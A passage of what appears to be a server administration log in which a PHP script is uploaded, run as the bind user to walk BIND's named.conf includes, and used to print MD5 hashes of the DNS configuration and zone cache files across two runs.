		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:39:44: 

runuser -l bind -s /bin/bash -c '/tmp/pkp976666; rm /tmp/pkp976666'

2026-04-28 10:39:44: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:42:04: Establishing a connection
2026-04-28 10:42:24: Establishing a connection
2026-04-28 10:59:53: Establishing a connection
2026-04-28 10:59:59: Establishing a connection
2026-04-28 10:59:59: 

PUT: /tmp/pkp345874

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:59:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp345874; rm /tmp/pkp345874'

2026-04-28 10:59:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
